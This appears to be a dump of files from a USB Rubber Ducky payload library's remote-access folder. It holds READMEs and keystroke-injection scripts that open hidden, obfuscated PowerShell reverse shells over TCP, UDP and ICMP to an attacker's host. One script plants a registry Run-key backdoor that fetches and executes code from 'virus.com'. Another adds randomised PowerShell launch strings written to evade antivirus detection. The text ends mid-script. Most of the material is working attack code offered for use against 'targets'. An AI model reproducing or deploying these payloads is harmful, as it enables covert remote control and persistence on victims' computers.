    "path": "payloads/library/remote_access/PingZhellDucky/README.md",
    "content": "**Title: PingZhellDucky**\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows & Unix<br>\r\nVersion: 1.2<br>\r\nRequirements: DuckyScript 3.0, perl</p>\r\n\r\n**What is PingZhellDucky?**\r\n#\r\n*Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).*\r\n*But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.*\r\n*ICMP stands for Internet Control Message Protocol; it is used by network devices’ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.*\r\n*When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE.*\r\n*The client ICMP agent listens for ICMP packets from a specific host and uses the data in the packet for command execution.*\r\n*The server ICMP agent (PingZhellDucky.pl) sends ICMP packets to connect to the victim running a custom ICMP agent (PingZhellDucky input) and sends it commands to execute.*\r\n#\r\nAfter PingZhellCable and PingZhellBunny, PingZhellDucky released. But what is different? PZD gives you the option to set up the infrastructre when not used on a Windows machine (perl and elevated privs required).\r\n\r\n**Instruction Version 1:**\r\n\r\nWith automatic setup:\r\nDefine INSTALL and set it to TRUE & Leave CLIENTLINK with default or choose your own\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/PingZhellDucky/media/setupauto.png)\r\n\r\nDefine the IP of your attacking machine between the quotes at the ATTACKER section\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/PingZhellDucky/media/ip.png)\r\n\r\nOpen up a terminal and put it into focus. Insert the Ducky into your non-Windows attack machine - wait for it to finish setup (Linux recommended - Perl required!)\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/PingZhellDucky/media/setup.png)\r\n\r\nStart the client -> `perl PingZhellDucky.pl`\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/PingZhellDucky/media/Client.png)\r\n\r\n<p>Plug your Ducky into a Windows target.<br>\r\nAchieve reverse shell.<br>\r\n   run away <3</p>\r\n\r\n**Instruction Version 2:**\r\nWithout automatic setup:\r\nDefine INSTALL and set it to FALSE\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/PingZhellDucky/media/install.png)\r\n\r\nUpload PingZhellDucky.pl onto your attacking machine.\r\nInstall dependencies, if needed:\r\n- IO::Socket\r\n- NetPacket::IP\r\n- NetPacket::ICMP\r\n\r\nDisable ICMP replies by the OS:\r\n    `sysctl -w net.ipv4.icmp_echo_ignore_all=1`\r\n\r\nStart the client -> `perl PingZhellDucky.pl`\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/PingZhellDucky/media/Client.png)\r\n\r\nDefine the IP of your attacking machine between the quotes at the ATTACKER section\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/PingZhellDucky/media/ip.png)\r\n\r\n<p>Plug your Ducky into a Windows target.<br>\r\nAchieve reverse shell.<br>\r\n   run away <3</p>\r\n\r\n\r\nCredit for DS 3.0 implentation and ideas:\r\n- Korben\r\n- bdamele\r\n- Nikhil Mittal\r\n- krabelize\r\n\r\n"
  },
  {
    "path": "payloads/library/remote_access/PingZhellDucky/payload.txt",
    "content": "REM PingZhellDucky\r\nREM Version 1.2\r\nREM OS: Windows & Unix\r\nREM Author: 0i41E\r\nREM Requirements: DuckScript 3.0, Perl\r\n\r\nREM       Getting remote access via ICMP or perform the required setup\r\n\r\nREM PASSIVE_WINDOWS_DETECT extension, made by Korben, to indentify the OS\r\nEXTENSION PASSIVE_WINDOWS_DETECT\r\n    REM VERSION 1.0\r\n\r\n    REM Windows fully passive OS Detection and passive Detect Ready\r\n    REM Includes its own passive detect ready. Does not require\r\n    REM additional extensions\r\n\r\n    REM USAGE:\r\n    REM Extension runs inline (here)\r\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n    REM boot delay\r\n    REM $_OS will be set to WINDOWS or NOT_WINDOWS\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE MAX_WAIT 150\r\n    DEFINE CHECK_INTERVAL 20\r\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\r\n    DEFINE NOT_WINDOWS 7\r\n\r\n    VAR $MAX_TRIES = MAX_WAIT\r\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\r\n        DELAY CHECK_INTERVAL\r\n        $MAX_TRIES = ($MAX_TRIES - 1)\r\n    END_WHILE\r\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\r\n        $_OS = WINDOWS\r\n    ELSE\r\n        $_OS = NOT_WINDOWS\r\n    END_IF\r\n\r\n    REM EXAMPLE USAGE AFTER EXTENSION\r\n    REM IF ($_OS == WINDOWS) THEN\r\n    REM     STRING HELLO WINDOWS!\r\n    REM ELSE\r\n    REM     STRING HELLO WORLD!\r\n    REM END_IF\r\nEND_EXTENSION\r\n\r\nREM Configure your settings below:\r\nREM Insert the attacking IP between ''\r\nDEFINE ATTACKER '0.0.0.0'\r\nREM Set the default DELAY\r\nDEFINE WAIT 250\r\nREM Do you want to install the dependencies and set up the infratructre?\r\nREM Will trigger when not using Windows - Best use with Linux\r\nDEFINE INSTALL TRUE\r\nREM Link to the PingZhellDucky.pl client - Required for installation\r\nDEFINE CLIENTLINK https://raw.githubusercontent.com/0i41E/usbrubberducky-payloads/master/payloads/library/remote_access/PingZhellDucky/PingZhellDucky.pl\r\n\r\n\r\nIF ($_OS == WINDOWS) THEN\r\n    DELAY 1500\r\n    GUI r\r\n    DELAY 500\r\n    STRINGLN powershell -NoP -NonI -w h\r\n    DELAY 500\r\n    STRING ;$Delay=5;$BufferSize=128;$ICMPDucky=New-Object System.Net.NetworkInformation.Ping;$PingDuck=New-Object System.Net.NetworkInformation.PingOptions;$PingDuck.DontFragment = $True;$QuackAttack = ([text.encoding]::ASCII).GetBytes('Ducky@PS '+(gl).Path+'> ');$ICMPDucky.Send( ATTACKER ,60 * 1000, $QuackAttack, $PingDuck) | Out-Null;while ($true){$QuackAttack=([text.encoding]::ASCII).GetBytes('');$reply=$ICMPDucky.Send( ATTACKER ,60 * 1000, $QuackAttack, $PingDuck);if ($reply.Buffer){$response=([text.encoding]::ASCII).GetString($reply.Buffer);$result=(IeX -Command $response 2>&1 | Out-String );$QuackAttack = ([text.encoding]::ASCII).GetBytes($result);$index=[math]::floor($QuackAttack.length/$BufferSize);$i = 0;\r\n    DELAY WAIT\r\n    STRINGLN if($QuackAttack.length -gt $BufferSize){while ($i -lt $index ){$NGGYU2 = $QuackAttack[($i*$BufferSize)..(($i+1)*$BufferSize-1)];$ICMPDucky.Send( ATTACKER ,60 * 10000, $NGGYU2, $PingDuck) | Out-Null;$i +=1;};$remainingindex=$QuackAttack.Length % $BufferSize;if($remainingindex -ne 0){$NGGYU2 = $QuackAttack[($i*$BufferSize)..($QuackAttack.Length)];$ICMPDucky.Send( ATTACKER ,60 * 10000, $NGGYU2, $PingDuck) | Out-Null}}else{$ICMPDucky.Send( ATTACKER ,60 * 10000, $QuackAttack, $PingDuck) | Out-Null};$QuackAttack = ([text.encoding]::ASCII).GetBytes(\"`nDucky@PS \" + (pwd).Path + '> ');$ICMPDucky.Send( ATTACKER ,60 * 1000, $QuackAttack, $PingDuck) | Out-Null}else{Start-Sleep -Seconds $Delay}}\r\nELSE\r\n    IF INSTALL THEN\r\n        DELAY WAIT\r\n        STRINGLN echo \"Setting up Infrastructre - Do not interact!\"\r\n        DELAY 2000\r\n        STRINGLN cpan IO::Socket NetPacket::IP NetPacket::ICMP && wget CLIENTLINK && sysctl -w net.ipv4.icmp_echo_ignore_all=1 && echo \"Setup complete!\"\r\n    ELSE\r\n        STRING Please insert device into a Windows machine or change the settings!\r\nEND_IF\r\nEND_IF\r\n"
  },
  {
    "path": "payloads/library/remote_access/RegDoor/payload.txt",
    "content": "REM made by: unknown81311\nGUI R\nREM create registry sting var in the startup registry dir to website with a unique id for identifying.\nSTRING powershell -Command \"`$x=New-Guid;sp Registry::HKCU\\Sof*\\Mic*\\Win*\\Cu*\\Run -name(`$x)\\`\"iwr virus.com?`$x|iex\\`\"\"\nENTER\n"
  },
  {
    "path": "payloads/library/remote_access/ReverseDucky/ReverseDucky.txt",
    "content": "REM       ReverseDucky\r\nREM       Version 2.0\r\nREM       OS: Windows / Linux(?) (Not tested with Powershell on Linux)\r\nREM       Author: 0i41E\r\nREM       Requirement: DuckyScript 3.0\r\n\r\nREM       TCP Reverse shell executed hidden in the background, the CAPSLOCK light at the end will indicate that the payload was executed.\r\nREM       Define the attacker IP and PORT at line 38 & 39\r\nREM       DON'T FORGET TO START LISTENER\r\n\r\nREM Extension DETECT_READY by Korben for best and fastest deployment\r\nEXTENSION DETECT_READY\r\n    REM VERSION 1.0\r\n\r\n    REM USAGE:\r\n    REM Extension runs inline (here)\r\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n    REM boot delay\r\n\r\n    REM TARGETS:\r\n    REM Any system that reflects CAPSLOCK will detect minimum required delay\r\n    REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE RESPONSE_DELAY 25\r\n    DEFINE ITERATION_LIMIT 120\r\n\r\n    VAR $C = 0\r\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT))\r\n        CAPSLOCK\r\n        DELAY RESPONSE_DELAY\r\n        $C = ($C + 1)\r\n    END_WHILE\r\n    CAPSLOCK\r\nEND_EXTENSION\r\n\r\nREM Define the attackers IP & Port\r\nDEFINE ADDRESS '0.0.0.0'\r\nDEFINE PORT 4444\r\n\r\nDELAY 1500\r\nGUI r\r\nDELAY 500\r\nSTRINGLN powershell -NoP -NonI -w h\r\nDELAY 500\r\nSTRINGLN $0LVhbQ=[TyPE]('tExT'+'.enCOD'+'InG');$C=.('New'+'-Obj'+'ect') System.Net.Sockets.TCPClient( ADDRESS , PORT );$S=$C.GetStream();[byte[]]$b=0..65535|&('%'){0};while(($i=$S.Read($b,0,$b.Length))-ne 0){;$d=(&('New'+'-Ob'+'ject') -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$X=(&('ie'+'x') $d 2>&1 | .('Out'+'-St'+'ring'));$Z=$X+'Ducky@PS '+(&('g'+'l'))+'> ';$sbt=($0lvHBq::ASCII).GetBytes($Z);$S.Write($sbt,0,$sbt.Length);$S.Flush()};$C.Close();exit\r\nCAPSLOCK\r\n"
  },
  {
    "path": "payloads/library/remote_access/ReverseDuckyII/ReverseDuckyII.txt",
    "content": "REM       ReverseDuckyII\r\nREM       Version 2.0\r\nREM       OS: Windows / Multi\r\nREM       Author: 0i41E\r\nREM       Requirement: DuckyScript 3.0\r\n\r\nREM       TCP Reverse shell executed hidden in the background, the CAPSLOCK light at the end will indicate that the payload was executed.\r\nREM       If inserted into a non Windows machine, the Ducky will appear broken.\r\nREM       DON'T FORGET TO START LISTENER\r\n\r\nREM PASSIVE_WINDOWS_DETECT extension, made by Korben, to indentify the OS\r\nEXTENSION PASSIVE_WINDOWS_DETECT\r\n    REM VERSION 1.0\r\n\r\n    REM Windows fully passive OS Detection and passive Detect Ready\r\n    REM Includes its own passive detect ready. Does not require\r\n    REM additional extensions\r\n\r\n    REM USAGE:\r\n    REM Extension runs inline (here)\r\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n    REM boot delay\r\n    REM $_OS will be set to WINDOWS or NOT_WINDOWS\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE MAX_WAIT 150\r\n    DEFINE CHECK_INTERVAL 20\r\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\r\n    DEFINE NOT_WINDOWS 7\r\n\r\n    VAR $MAX_TRIES = MAX_WAIT\r\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\r\n        DELAY CHECK_INTERVAL\r\n        $MAX_TRIES = ($MAX_TRIES - 1)\r\n    END_WHILE\r\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\r\n        $_OS = WINDOWS\r\n    ELSE\r\n        $_OS = NOT_WINDOWS\r\n    END_IF\r\n\r\n    REM EXAMPLE USAGE AFTER EXTENSION\r\n    REM IF ($_OS == WINDOWS) THEN\r\n    REM     STRING HELLO WINDOWS!\r\n    REM ELSE\r\n    REM     STRING HELLO WORLD!\r\n    REM END_IF\r\nEND_EXTENSION\r\n\r\nREM Configure your settings below:\r\nREM Insert the attacking IP between '' & define your port\r\nDEFINE ATTACKER '192.168.178.25'\r\nDEFINE PORT 4444\r\nREM Set the default DELAY\r\nDEFINE WAIT 500\r\n\r\nIF ($_OS == WINDOWS) THEN\r\n    DELAY 1500\r\n    GUI r\r\n    DELAY WAIT\r\n    STRINGLN powershell -NoP -NonI -w h\r\n    DELAY WAIT\r\n    STRINGLN $c=nEw-oBjECt SYstEm.NEt.SOcKEts.TCPClIEnt( ATTACKER , PORT );$s=$c.GetSTreAm();[byte[]]$b=0..65535|%{0};whILe(($i=$s.REad($b,0,$b.LeNgTh))-ne 0){;$d=(NEw-OBjeCT -TYpeNamE sYsTeM.TeXt.ASCIIEncoding).GetStRIng($b,0,$i);$z=(ieX $d 2>&1|oUt-STriNG);$x=$z+\"Ducky@PS \"+(pwd)+\"> \";$y=([text.encoding]::ASCII).GEtByTEs($x);$s.WrIte($y,0,$y.LEnGTh);$s.FlUSh()};$c.CloSE();exit\r\nREM Capslock light will indicate a finished payload\r\n    CAPSLOCK\r\nELSE\r\nREM Inserting the Ducky into a non Windows machine will result in ATTACKMODE OFF\r\n    ATTACKMODE OFF\r\nEND_IF\r\n\r\n \r\n"
  },
  {
    "path": "payloads/library/remote_access/ReverseDuckyIII/payload.txt",
    "content": "REM       ReverseDucky3\nREM       Version 1.2 (End of Life - This payload won't be updated anymore)\nREM       OS: Windows / Linux(?) (Not tested with Powershell on Linux)\nREM       Author: 0i41E\n\nREM       UDP Reverse shell executed in the background. Might create a firewall pop up, but will execute anyway.\nREM       Fill in Attacker-IP and Port in Line 18\nREM       DON'T FORGET TO START LISTENER: nc -ul -p PORT\n\nDELAY 1500\nGUI r\nDELAY 500\nSTRING powershell -NoP -NonI -W hidden\nDELAY 250\nENTER\n\nDELAY 200\nSTRING $E=New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse(\"0.0.0.0\"),PORT);$C=New-Object System.Net.So\nDELAY 100\nSTRING ckets.UDPClient(53);[byte[]]$B=0..65535|%{0};$SB=([text.encoding]::ASCII).GetBytes('ReverseDuckyIII:');$C.Send($SB,$S\nDELAY 100\nSTRING B.Length,$E);while($true){;$R=$C.Receive([ref]$E);$RD=([text.encoding]::ASCII).GetString($R);$s=(iex $RD 2>&1 | Out-S\nDELAY 100\nSTRING tring );$s2=$s+'Ducky@PS ' + (pwd).Path + '> ';$SB =([text.encoding]::ASCII).GetBytes($s2);$C.Send($SB,$SB.Len\nDELAY 100\nSTRING gth,$E)};$C.Close()\nENTER\n\n\n"
  },
  {
    "path": "payloads/library/remote_access/ReverseDuckyPolymorph/README.md",
    "content": "**Title: ReverseDuckyPolymorph**\n\n<p>Author: 0i41E, Korben<br>\nOS: Windows<br>\nVersion: 1.1<br>\nRequirements: DuckyScript 3.0, PayloadStudio v. 1.3.0 minimum</p>\n\n**What is ReverseDuckyPolymorph?**\n#\n*One of the biggest problems when publishing payloads, exploits, POCs, etc. is static detection. If X hundred or thousand people use your script it's more than burned.*\n*So I created ReverseDuckyPolymorph to fight static detection. Everytime this payload will be used by your Ducky, the variables change and therefore are harder to pin point.*\n*This of course is no guarantee for bypassing every AV, but it may help to bypass certain protections for a longer time.*\n#\n**Instruction**\n\nUsing ReverseDuckyPolymorph is easy and straight forward.\n- First, start a listener on your attacking machine via the tool of your choice.\n- Second, define the IP-Address and Port of your listening machine\n\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyPolymorph/media/listener.png)\n- Third, compile the payload, using payloadstudio in version 1.3.0 minimum, transfer it onto your Ducky and you are good to go.\n#\nEvery session you will gain via this payload will result in a different ID to verify a different pattern.\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyPolymorph/media/ID.png)\n\nCredit for DS 3.0 implentation and ideas:\n- Korben\n- Nikhil Mittal\n"
  },
  {
    "path": "payloads/library/remote_access/ReverseDuckyPolymorph/payload.txt",
    "content": "REM Title: ReverseDuckyPolymorph\nREM Author: 0i41E, Korben\nREM Version 1.1\n\nREM Target: Windows / Linux(?) (Not tested with Powershell on Linux)\nREM Requirements: DuckyScript 3.0, PayloadStudio v. 1.3.0 minimum\n\nREM Description:\nREM TCP Reverse shell executed hidden in the background, \nREM the CAPSLOCK light at the end will indicate that the payload was executed.\nREM Because of randomisation static detection will be impeded\nREM DON'T FORGET TO START LISTENER BEFORE DEPLOYING ON TARGET\n\nREM REQUIRED: Define the attackers IP & Port\nDEFINE ADDRESS '0.0.0.0'\nDEFINE PORT 4444\n\nREM Extension DETECT_READY by Korben for best and fastest deployment\nEXTENSION DETECT_READY\n    REM VERSION 1.0\n\n    REM USAGE:\n    REM Extension runs inline (here)\n    REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n    REM boot delay\n\n    REM TARGETS:\n    REM Any system that reflects CAPSLOCK will detect minimum required delay\n    REM Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms\n\n    REM CONFIGURATION:\n    DEFINE RESPONSE_DELAY 25\n    DEFINE ITERATION_LIMIT 120\n\n    VAR $C = 0\n    WHILE (($_CAPSLOCK_ON == FALSE) && ($C < ITERATION_LIMIT))\n        CAPSLOCK\n        DELAY RESPONSE_DELAY\n        $C = ($C + 1)\n    END_WHILE\n    CAPSLOCK\nEND_EXTENSION\n\nREM Variables for pseudo random variables\nVAR $var_gibberish = $_RANDOM_NUMBER_KEYCODE\nVAR $var_gibberish2 = $_RANDOM_LETTER_KEYCODE \nVAR $var_gibberish3 = $_RANDOM_LOWER_LETTER_KEYCODE \nVAR $var_gibberish4 = $_RANDOM_LETTER_KEYCODE\nVAR $var_gibb3rish = $_RANDOM_NUMBER_KEYCODE\nVAR $var_duckID = $_RANDOM_UPPER_LETTER_KEYCODE\nVAR $var_duckID2 = $_RANDOM_NUMBER_KEYCODE\nVAR $var_duckID3 = $_RANDOM_NUMBER_KEYCODE\n\nDELAY 1500\nGUI r\nDELAY 500\nSTRINGLN powershell -NoP -NonI -w h\nDELAY 500\nSTRING $\nINJECT_VAR $var_gibberish\nINJECT_VAR $var_gibberish2\nINJECT_VAR $var_gibberish3\nINJECT_VAR $var_gibberish4\nSTRING =[TyPE]('tExT'+'.enCOD'+'InG');$\nINJECT_VAR $var_gibb3rish\nREM Address and Port of the listening machine\nSTRING =.('New'+'-Obj'+'ect') System.Net.Sockets.TCPClient( ADDRESS , PORT );$\nINJECT_VAR $var_gibberish4\nSTRING =$\nINJECT_VAR $var_gibb3rish\nSTRING .GetStream();[byte[]]$b=0..65535|&('%'){0};while(($\nINJECT_VAR $var_gibberish4\nINJECT_VAR $var_gibberish3\nINJECT_VAR $var_gibberish\nINJECT_VAR $var_duckID3\nSTRING =$\nINJECT_VAR $var_gibberish4\nSTRING .Read($b,0,$b.Length))-ne 0){;$d=(&('New'+'-Ob'+'ject') -TypeName System.Text.ASCIIEncoding).GetString($b,0,$\nINJECT_VAR $var_gibberish4\nINJECT_VAR $var_gibberish3\nINJECT_VAR $var_gibberish\nINJECT_VAR $var_duckID3\nSTRING );$X=(&('ie'+'x') $d 2>&1 | .('Out'+'-St'+'ring'));$Z=$X+'Ducky_\nINJECT_VAR $var_duckID\nINJECT_VAR $var_duckID2\nINJECT_VAR $var_duckID3\nSTRING @PS '+(&('g'+'l'))+'> ';$\nINJECT_VAR $var_duckID3\nINJECT_VAR $var_gibberish2\nINJECT_VAR $var_gibb3rish\nSTRING =($\nINJECT_VAR $var_gibberish\nINJECT_VAR $var_gibberish2\nINJECT_VAR $var_gibberish3\nINJECT_VAR $var_gibberish4\nSTRING ::ASCII).GetBytes($Z);$\nINJECT_VAR $var_gibberish4\nSTRING .Write($\nINJECT_VAR $var_duckID3\nINJECT_VAR $var_gibberish2\nINJECT_VAR $var_gibb3rish\nSTRING ,0,$\nINJECT_VAR $var_duckID3\nINJECT_VAR $var_gibberish2\nINJECT_VAR $var_gibb3rish\nSTRING .Length);$\nINJECT_VAR $var_gibberish4\nSTRING .Flush()};$\nINJECT_VAR $var_gibb3rish\nSTRINGLN .Close();exit\nDELAY 100\nCAPSLOCK\n"
  },
  {
    "path": "payloads/library/remote_access/ReverseDuckyUltimate/README.md",
    "content": "# Title: ReverseDuckyUltimate\r\n\r\n<p>Author: 0i41E<br>\r\nOS: Windows<br>\r\nVersion: 1.0<br>\r\nRequirements: DuckyScript 3.0, PayloadStudio v. 1.3.0 minimum</p>\r\n\r\n**What is ReverseDuckyUlitmate?**\r\n#\r\n*ReverseDuckyUltimate (RDU) takes the best of every ReverseDucky payload. Customization, encryption, indentifiers, multi-layer polymorphism and automatic setup!*\r\n*RDU is the ulitmate experience when it comes to remote access via your Rubber Ducky and it's so easy to use!*\r\n#\r\n## Instruction\r\n\r\nUsing ReverseDuckyUltimate is easy and straight forward, for instructions for automatic setup, click [here](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyUltimate/README.md#instruction---automatic-setup).\r\n- First: Create key.pem & cert.pem like so: <br>\r\n```\r\nopenssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes\r\n```\r\nIt will ask for information about the certificate - Insert whatever you want.<br>\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyUltimate/media/cert.png)\r\n\r\n- Second: Start a listener on your attacking machine which supports certificates.\r\n\tExamples: \r\n```\r\nopenssl s_server -quiet -key key.pem -cert cert.pem -port [Port Number]\r\nncat --listen -p [Port Number] --ssl --ssl-cert cert.pem --ssl-key key.pem\r\n```\r\n- Third: Define the IP-Address and Port of your listening machine within the payload, as also if your target is a Windows 11 based system. _Disclaimer: Windows 11 mode will modify the registry. Bad opsec!_\r\n\r\nAdditionally add an unique identifier to give your Duck a name.\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyUltimate/media/config.png)\r\n\r\n- Fourth: Compile the payload, using PayloadStudio in version 1.3.0 minimum, transfer it onto your Ducky and you are good to go.\r\n\r\n## Instruction - Automatic Setup\r\n- First: Navigate to `#SETUP` and set its value to `TRUE` and set your desired `#PORT` to the port you want to use.\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyUltimate/media/setup.png)\r\n\r\n- Second: Compile the payload, using PayloadStudio in version 1.3.0 minimum, transfer it onto your Ducky. Open up an elevated terminal on your attacking machine and instert the Ducky.\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyUltimate/media/execsetup.png)\r\n\r\n- Third: After the automatic setup, a listener should be running on your machine. Now re-enter PayloadStudio, set `#SETUP` to `FALSE`, define your IP-Address, compile the payload and you're good to go!\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyUltimate/media/autoip.png)\r\n#\r\n\r\n![alt text](https://github.com/0i41E/usbrubberducky-payloads/blob/master/payloads/library/remote_access/ReverseDuckyUltimate/media/pwn.png)\r\n\r\nCredit for DS 3.0 implentation and ideas:\r\n- Daniel Bohannon\r\n- Grzegorz Tworek\r\n- Korben\r\n- Nikhil Mittal\r\n"
  },
  {
    "path": "payloads/library/remote_access/ReverseDuckyUltimate/payload.txt",
    "content": "REM       ReverseDuckyUltimate\r\nREM       Version 1.3\r\nREM       OS: Windows / Unix\r\nREM       Author: 0i41E\r\nREM       Requirement: DuckyScript 3.0, PayloadStudio v.1.3 minimum\r\nREM       Morphing, Encrypted Reverse shell executed hidden in the background with custom identifier, the CAPSLOCK light at the end will indicate that the payload was executed.\r\n\r\nREM Extension PASSIVE_WINDOWS_DETECT by Korben for best and fastest deployment with guard rails\r\nEXTENSION PASSIVE_WINDOWS_DETECT\r\n    REM VERSION 1.1\r\n    REM AUTHOR: Korben\r\n\r\n    REM_BLOCK DOCUMENTATION\r\n        Windows fully passive OS Detection and passive Detect Ready\r\n        Includes its own passive detect ready. \r\n        Does not require additional extensions.\r\n    \r\n        USAGE:\r\n            Extension runs inline (here)\r\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\r\n            boot delay\r\n            $_OS will be set to WINDOWS or NOT_WINDOWS\r\n            See end of payload for usage within payload\r\n    END_REM\r\n\r\n    REM CONFIGURATION:\r\n    DEFINE #MAX_WAIT 150\r\n    DEFINE #CHECK_INTERVAL 20\r\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\r\n    DEFINE #NOT_WINDOWS 7\r\n\r\n    $_OS = #NOT_WINDOWS\r\n\r\n    VAR $MAX_TRIES = #MAX_WAIT\r\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\r\n        DELAY #CHECK_INTERVAL\r\n        $MAX_TRIES = ($MAX_TRIES - 1)\r\n    END_WHILE\r\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\r\n        $_OS = WINDOWS\r\n    END_IF\r\n\r\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\r\n        IF ($_OS == WINDOWS) THEN\r\n            STRING HELLO WINDOWS!\r\n        ELSE\r\n            STRING HELLO WORLD!\r\n        END_IF\r\n    END_REM\r\nEND_EXTENSION\r\n\r\nREM Extension ROLLING_POWERSHELL_EXECUTION by 0i41E to obfuscate the start of Powershell\r\nEXTENSION ROLLING_POWERSHELL_EXECUTION\r\n    REM VERSION 1.0\r\n    REM Author: 0i41E\r\n    REM Credits: Korben, Daniel Bohannon, Grzegorz Tworek\r\n    REM Requirements: PayloadStudio v.1.3 minimum\r\n    REM Starts Powershell in uncommon ways to avoid basic detection\r\n    REM Via randomisation, obfuscation and usage of less used parameters, this extension helps to evade basic detection.\r\n\r\n    REM CONFIGURATION:\r\n    REM Add ExecutionPolicy bypass\r\n    DEFINE #EXECUTIONPOLICY FALSE\r\n    DEFINE #DELAY 200\r\n\r\n    $_RANDOM_MIN = 1\r\n    $_RANDOM_MAX = 16\r\n    VAR $RANDOM_PS = $_RANDOM_INT\r\n    FUNCTION Rolling_Powershell_Execution()\r\n        IF ($RANDOM_PS == 1) THEN\r\n            STRING cmd.exe /c \"p%PSModulePath:~21,1%weRshe%PUBLIC:~12,1%l.exe -noPr -Noni -wi Hid\"\r\n        ELSE IF ($RANDOM_PS == 2) THEN\r\n            STRING cmd.exe /c \"PowerShe%PUBLIC:~12,1%%PUBLIC:~12,1% /NoPr /NonI /w hi\"\r\n        ELSE IF ($RANDOM_PS == 3) THEN\r\n            STRING cmd.exe /c \"P%PSModulePath:~21,1%werShell /NoPr /NonI /w hi\"\r\n        ELSE IF ($RANDOM_PS == 4) THEN\r\n            STRING cmd /c \"FOR /F \"delims=s\\ t%PSModulePath:~25,1%kens=4\" %a IN ('set^|findstr PSM')DO %a -nop -noni /w H\"\r\n        ELSE IF ($RANDOM_PS == 5) THEN\r\n            STRING cmd /c \"Powe%ALLUSERSPROFILE:~4,1%Shell -NoPr -NonI -w hi\"\r\n        ELSE IF ($RANDOM_PS == 6) THEN\r\n            STRING cmd /c \"p^Owe%ALLUSERSPROFILE:~7,1%Shell /NoPr /Nonin /wind hidD\"\r\n        ELSE IF ($RANDOM_PS == 7) THEN\r\n            STRING cmd.exe /c \"P%PSModulePath:~21,1%werShell -NoPr -NonI -w hi\"\r\n        ELSE IF ($RANDOM_PS == 8) THEN\r\n            STRING powershell -NoPro -noninT -win h\r\n        ELSE IF ($RANDOM_PS == 9) THEN\r\n            STRING cmd /c \"p^Owe%ALLUSERSPROFILE:~7,1%Shell -NoP -Noni -wind hidD\"\r\n        ELSE IF ($RANDOM_PS == 2) THEN\r\n            STRING powershell.exe -NoP -nOni -W h\r\n        ELSE IF ($RANDOM_PS == 10) THEN\r\n            STRING cmd /c \"FOR /F \"delims=s\\ tokens=4\" %a IN ('set^|findstr PSM')DO %a -nop -noni -w H\"\r\n        ELSE IF ($RANDOM_PS == 11) THEN\r\n            STRING powershell -nopr -noninT -W HiddEn\r\n        ELSE IF ($RANDOM_PS == 12) THEN\r\n            STRING cmd.exe /c \"FOR /F \"delims=s\\ tokens=4\" %a IN ('set^|findstr PSM')DO %a -noProF -nonin -win Hi\"\r\n        ELSE IF ($RANDOM_PS == 13) THEN\r\n            STRING cmd /c \"P%PSModulePath:~25,1%weRShell -noProf -NonIn -wi h\"\r\n        ELSE IF ($RANDOM_PS == 14) THEN\r\n            STRING powershell -noproF -noni -W Hi\r\n        ELSE IF ($RANDOM_PS == 15) THEN\r\n            STRING cmd /c \"Powe%ALLUSERSPROFILE:~4,1%Shell /NoPr /NonI /%PSModulePath:~17,1% hi\"\r\n        ELSE ($RANDOM_PS == 16) THEN\r\n            STRING powershell.exe -noP -nOnI -windo H\r\n        END_IF\r\n\r\n        